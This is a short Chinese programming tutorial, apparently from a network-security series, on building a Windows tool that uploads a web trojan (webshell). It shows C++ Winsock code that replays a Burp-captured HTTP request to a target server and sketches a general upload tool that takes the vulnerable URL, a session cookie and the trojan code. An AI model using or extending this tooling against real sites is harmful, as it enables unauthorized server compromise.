|
原文链接:网络安全编程:上传网页木马
上传木马的模块可以通过直接发包达到上传的效果,实现起来比较简单,代码如下:
- void CuploadmumaDlg::OnBnClickedButton1()
- {
- // TODO: 在此添加控件通知处理程序代码
- WSAData wsa = { 0 };
- // 初始化
- WSAStartup(MAKEWORD(2, 2), &wsa);
- // 获取 IP 地址
- DWORD dwIPAddr = 0;
- m_IpAddr.GetAddress(dwIPAddr);
- // 获取端口号
- WORD dwPort = 0;
- dwPort = GetDlgItemInt(IDC_PORT);
- // 创建 SOCKET
- SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- sockaddr_in sockaddr = { 0 };
- sockaddr.sin_family = AF_INET;
- sockaddr.sin_addr.S_un.S_addr = htonl(dwIPAddr);
- sockaddr.sin_port = htons(dwPort);
- // 连接服务器
- int nRet = connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));
- // 获取从 BURP 截取的 HTTP 的 request 包
- char szText[2048] = { 0 };
- GetDlgItemText(IDC_TEXT, szText, 2048);
- // 发送包
- nRet = send(s, szText, lstrlen(szText), 0);
- closesocket(s);
- WSACleanup();
- }
复制代码
代码的流程比较简单,主要就是完成了与Web服务器的连接,然后发送通过Burp截取的数据内容,程序界面如图1所示。
图1 发送木马数据包上传木马
该木马发送程序比较简陋,只是简单地提交了对Web服务器请求的数据包。开发一个较为通用的木马上传工具,就不能这么偷懒了。首先,需要提取出存在上传漏洞的地址,因为每个系统存在上传漏洞的地址是不相同的,因此漏洞的地址必须能够接收用户的输入。接着提取HTTP请求头部中的“Cookie”部分,因为上传木马时可能需要登录系统以后才能进行上传,但是为什么发包的时候可以,因为数据包中有COOKIE,因此必须要能让用户输入“cookie”,因为一般的上传漏洞可能是论坛、博客等系统,因此用户可以自行登录后,将cookie复制出来并粘贴到程序中。然后还有木马的内容需要用户自定义,那么程序界面上也需要留下输入木马的文本框,可以直接输入木马的代码,也可以直接让用户输入木马的目录,然后让程序从文件中把木马代码读出。有的上传漏洞能够让用户去控制上传木马后所在的目录,那么还要给用户一个可以设置上传位置的输入框。
|
|